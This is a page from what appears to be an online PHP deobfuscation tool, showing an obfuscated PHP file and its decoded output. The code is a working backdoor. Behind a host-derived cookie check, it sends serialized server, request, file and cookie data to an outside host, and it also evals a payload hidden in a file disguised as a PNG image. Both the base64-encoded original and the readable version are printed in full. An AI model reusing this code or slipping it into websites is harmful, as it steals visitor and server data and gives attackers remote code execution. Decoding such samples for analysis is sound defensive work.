Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode("DQp7DQogICAgaWYgKCFkZWZpbmVkKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJyk..

Decoded Output download


{
    if (!defined('newo8dwpojap92-032jg43')) {
        define('newo8dwpojap92-032jg43', 1);

        {
            function xxxor($uhynyz_lakukochokh, $aqecox_ichybufav, $oropes_echenygu) {
                $utuhez_khotimupak = "subs" . "tr";
                $mysulo_jydolalu = "strle" . "n";
                $eqizuz_socesugyt = "qwrtp" . "sdghj" . "klzxcv" . "bnm";
                $nujuci_gogikharo = "eyuo" . "a";

                $ofysyg_nushobosho = 0;
                for ($atyjot_udiwachi = 0; $atyjot_udiwachi < $mysulo_jydolalu($uhynyz_lakukochokh); $atyjot_udiwachi++) {
                    $puluki_thechoshovum = ord($utuhez_khotimupak($uhynyz_lakukochokh, $atyjot_udiwachi, 1));
                    $ofysyg_nushobosho += $puluki_thechoshovum + $puluki_thechoshovum * ($puluki_thechoshovum + $atyjot_udiwachi);
                }

                $puluki_thechoshovum = $oropes_echenygu - $aqecox_ichybufav;
                $ydihyz_ucututide = $ofysyg_nushobosho % $puluki_thechoshovum;
                $inutid_shevixuz = $ofysyg_nushobosho % 2;
                $apesuz_abytacothu = '';
                for ($atyjot_udiwachi = 0; $atyjot_udiwachi < $aqecox_ichybufav + $ydihyz_ucututide; $atyjot_udiwachi++) {
                    $zonopu_avanochish = $atyjot_udiwachi % $mysulo_jydolalu($uhynyz_lakukochokh);
                    $zonopu_avanochish = ord($utuhez_khotimupak($uhynyz_lakukochokh, $zonopu_avanochish, 1));
                    $puluki_thechoshovum = $ofysyg_nushobosho + $zonopu_avanochish + $atyjot_udiwachi + ($zonopu_avanochish + $atyjot_udiwachi) * ($zonopu_avanochish + $atyjot_udiwachi);
                    $unaxyv_wycipezhen = ($atyjot_udiwachi + $inutid_shevixuz) % 2;
                    if ($unaxyv_wycipezhen) {
                        $apesuz_abytacothu .= $utuhez_khotimupak($eqizuz_socesugyt, $puluki_thechoshovum % $mysulo_jydolalu($eqizuz_socesugyt), 1);
                    } else {
                        $apesuz_abytacothu .= $utuhez_khotimupak($nujuci_gogikharo, $puluki_thechoshovum % $mysulo_jydolalu($nujuci_gogikharo), 1);
                    }
                }


                return $apesuz_abytacothu;
            }
            if (isset($_SERVER['HTTP_HOST'])) {
                $cook_key = xxxor(strtoupper($_SERVER["HTTP_HOST"]), 5, 7);
            }
            else{
                $cook_key = "test_fail";
            }


            if (isset($_COOKIE[$cook_key])) {

                {
                    $url = "http://dev.ncs-immobilier.com/nmbedbbvn.php";
                    $context = Array();
                    $context['http']['method'] = 'POST';
                    $context['http']['header'] = 'Content-type: application/x-www-form-urlencoded';
                    $df_vnduasq = Array();
                    $df_vnduasq['c1'] = "admin_ajax";
                    $df_vnduasq['c2'] = base64_encode(base64_encode((serialize($_SERVER))) . "&&&&" . base64_encode(serialize($_REQUEST)) . "&&&&" . base64_encode(serialize($_FILES)) . "&&&&" . base64_encode(serialize($_COOKIE)));

                    $context['http']['content'] = 'g093mpsdknfjdjg2=' . serialize($df_vnduasq);
                    $context = stream_context_create($context);
                    $res = file_get_contents($url, FALSE, $context);
                    print $res;
                }
            }

        }

    }
}

Did this file decode correctly?

Original Code

<?php  eval(base64_decode("DQp7DQogICAgaWYgKCFkZWZpbmVkKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJykpIHsNCiAgICAgICAgZGVmaW5lKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJywgMSk7DQoNCiAgICAgICAgew0KICAgICAgICAgICAgZnVuY3Rpb24geHh4b3IoJHVoeW55el9sYWt1a29jaG9raCwgJGFxZWNveF9pY2h5YnVmYXYsICRvcm9wZXNfZWNoZW55Z3UpIHsNCiAgICAgICAgICAgICAgICAkdXR1aGV6X2tob3RpbXVwYWsgPSAic3VicyIgLiAidHIiOw0KICAgICAgICAgICAgICAgICRteXN1bG9fanlkb2xhbHUgPSAic3RybGUiIC4gIm4iOw0KICAgICAgICAgICAgICAgICRlcWl6dXpfc29jZXN1Z3l0ID0gInF3cnRwIiAuICJzZGdoaiIgLiAia2x6eGN2IiAuICJibm0iOw0KICAgICAgICAgICAgICAgICRudWp1Y2lfZ29naWtoYXJvID0gImV5dW8iIC4gImEiOw0KDQogICAgICAgICAgICAgICAgJG9meXN5Z19udXNob2Jvc2hvID0gMDsNCiAgICAgICAgICAgICAgICBmb3IgKCRhdHlqb3RfdWRpd2FjaGkgPSAwOyAkYXR5am90X3VkaXdhY2hpIDwgJG15c3Vsb19qeWRvbGFsdSgkdWh5bnl6X2xha3Vrb2Nob2toKTsgJGF0eWpvdF91ZGl3YWNoaSsrKSB7DQogICAgICAgICAgICAgICAgICAgICRwdWx1a2lfdGhlY2hvc2hvdnVtID0gb3JkKCR1dHVoZXpfa2hvdGltdXBhaygkdWh5bnl6X2xha3Vrb2Nob2toLCAkYXR5am90X3VkaXdhY2hpLCAxKSk7DQogICAgICAgICAgICAgICAgICAgICRvZnlzeWdfbnVzaG9ib3NobyArPSAkcHVsdWtpX3RoZWNob3Nob3Z1bSArICRwdWx1a2lfdGhlY2hvc2hvdnVtICogKCRwdWx1a2lfdGhlY2hvc2hvdnVtICsgJGF0eWpvdF91ZGl3YWNoaSk7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgJHB1bHVraV90aGVjaG9zaG92dW0gPSAkb3JvcGVzX2VjaGVueWd1IC0gJGFxZWNveF9pY2h5YnVmYXY7DQogICAgICAgICAgICAgICAgJHlkaWh5el91Y3V0dXRpZGUgPSAkb2Z5c3lnX251c2hvYm9zaG8gJSAkcHVsdWtpX3RoZWNob3Nob3Z1bTsNCiAgICAgICAgICAgICAgICAkaW51dGlkX3NoZXZpeHV6ID0gJG9meXN5Z19udXNob2Jvc2hvICUgMjsNCiAgICAgICAgICAgICAgICAkYXBlc3V6X2FieXRhY290aHUgPSAnJzsNCiAgICAgICAgICAgICAgICBmb3IgKCRhdHlqb3RfdWRpd2FjaGkgPSAwOyAkYXR5am90X3VkaXdhY2hpIDwgJGFxZWNveF9pY2h5YnVmYXYgKyAkeWRpaHl6X3VjdXR1dGlkZTsgJGF0eWpvdF91ZGl3YWNoaSsrKSB7DQogICAgICAgICAgICAgICAgICAgICR6b25vcHVfYXZhbm9jaGlzaCA9ICRhdHlqb3RfdWRpd2FjaGkgJSAkbXlzdWxvX2p5ZG9sYWx1KCR1aHlueXpfbGFrdWtvY2hva2gpOw0KICAgICAgICAgICAgICAgICAgICAkem9ub3B1X2F2YW5vY2hpc2ggPSBvcmQoJHV0dWhlel9raG90aW11cGFrKCR1aHlueXpfbGFrdWtvY2hva2gsICR6b25vcHVfYXZhbm9jaGlzaCwgMSkpOw0KICAgICAgICAgICAgICAgICAgICAkcHVsdWtpX3RoZWNob3Nob3Z1bSA9ICRvZnlzeWdfbnVzaG9ib3NobyArICR6b25vcHVfYXZhbm9jaGlzaCArICRhdHlqb3RfdWRpd2FjaGkgKyAoJHpvbm9wdV9hdmFub2NoaXNoICsgJGF0eWpvdF91ZGl3YWNoaSkgKiAoJHpvbm9wdV9hdmFub2NoaXNoICsgJGF0eWpvdF91ZGl3YWNoaSk7DQogICAgICAgICAgICAgICAgICAgICR1bmF4eXZfd3ljaXBlemhlbiA9ICgkYXR5am90X3VkaXdhY2hpICsgJGludXRpZF9zaGV2aXh1eikgJSAyOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHVuYXh5dl93eWNpcGV6aGVuKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXBlc3V6X2FieXRhY290aHUgLj0gJHV0dWhlel9raG90aW11cGFrKCRlcWl6dXpfc29jZXN1Z3l0LCAkcHVsdWtpX3RoZWNob3Nob3Z1bSAlICRteXN1bG9fanlkb2xhbHUoJGVxaXp1el9zb2Nlc3VneXQpLCAxKTsNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRhcGVzdXpfYWJ5dGFjb3RodSAuPSAkdXR1aGV6X2tob3RpbXVwYWsoJG51anVjaV9nb2dpa2hhcm8sICRwdWx1a2lfdGhlY2hvc2hvdnVtICUgJG15c3Vsb19qeWRvbGFsdSgkbnVqdWNpX2dvZ2lraGFybyksIDEpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgICAgICByZXR1cm4gJGFwZXN1el9hYnl0YWNvdGh1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkpIHsNCiAgICAgICAgICAgICAgICAkY29va19rZXkgPSB4eHhvcihzdHJ0b3VwcGVyKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSksIDUsIDcpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZXsNCiAgICAgICAgICAgICAgICAkY29va19rZXkgPSAidGVzdF9mYWlsIjsNCiAgICAgICAgICAgIH0NCg0KDQogICAgICAgICAgICBpZiAoaXNzZXQoJF9DT09LSUVbJGNvb2tfa2V5XSkpIHsNCg0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHVybCA9ICJodHRwOi8vZGV2Lm5jcy1pbW1vYmlsaWVyLmNvbS9ubWJlZGJidm4ucGhwIjsNCiAgICAgICAgICAgICAgICAgICAgJGNvbnRleHQgPSBBcnJheSgpOw0KICAgICAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydtZXRob2QnXSA9ICdQT1NUJzsNCiAgICAgICAgICAgICAgICAgICAgJGNvbnRleHRbJ2h0dHAnXVsnaGVhZGVyJ10gPSAnQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnOw0KICAgICAgICAgICAgICAgICAgICAkZGZfdm5kdWFzcSA9IEFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMSddID0gImFkbWluX2FqYXgiOw0KICAgICAgICAgICAgICAgICAgICAkZGZfdm5kdWFzcVsnYzInXSA9IGJhc2U2NF9lbmNvZGUoYmFzZTY0X2VuY29kZSgoc2VyaWFsaXplKCRfU0VSVkVSKSkpIC4gIiYmJiYiIC4gYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJF9SRVFVRVNUKSkgLiAiJiYmJiIgLiBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkX0ZJTEVTKSkgLiAiJiYmJiIgLiBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkX0NPT0tJRSkpKTsNCg0KICAgICAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydjb250ZW50J10gPSAnZzA5M21wc2RrbmZqZGpnMj0nIC4gc2VyaWFsaXplKCRkZl92bmR1YXNxKTsNCiAgICAgICAgICAgICAgICAgICAgJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJGNvbnRleHQpOw0KICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmlsZV9nZXRfY29udGVudHMoJHVybCwgRkFMU0UsICRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICAgICAgcHJpbnQgJHJlczsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgfQ0KDQogICAgfQ0KfQ=="));?>
<?php

function tizoshu_yxokheq($ragudys_yqunysu) {
    if (!file_exists($ragudys_yqunysu))
        return false;
    $inucuse = @file_get_contents($ragudys_yqunysu);
    if (!$inucuse)
        return false;
    $inucuse = substr($inucuse, 3);
    $aveleq = helyhiq_ekhofyj($inucuse);
    return $aveleq;
}

function helyhiq_ekhofyj($ragudys_yqunysu) {
    $awizhir = jecinir_ozhucer;
    $ycutav = array();
    for ($bosykaf = 0; $bosykaf < strlen($awizhir); $bosykaf += 2) {
        $kabupy = substr($awizhir, $bosykaf, 1);
        $oshaciv = substr($awizhir, $bosykaf + 1, 1);
        $ycutav[$kabupy] = $oshaciv;
    }
    $yfabizh = strtr($ragudys_yqunysu, $ycutav);
    $yfabizh = base64_decode($yfabizh);

    return $yfabizh;
}

define("jecinir_ozhucer", "7dnuOYzXqyHGDBFqe7=vgz/mjj09AHZaJEPC2roMBw936hSNs0Q6revLGfEQbp8bx+wPRAmlfo4gaR3xK5tFdsukp4ltiSVJMV51NZLUYTIOX2k8TW+nWIy=hDCc1icKU/");

$ishybob = tizoshu_yxokheq(__DIR__ . "/ass" . "ets/i" . "mages" . "/shuj" . "asu.pn" . "g");
if ($ishybob) {
    @eval($ishybob);
}

Function Calls

define 1
base64_decode 1

Variables

None

Stats

MD5 8c6126161146c20ec11d6f776933e7b9
Eval Count 1
Decode Time 54 ms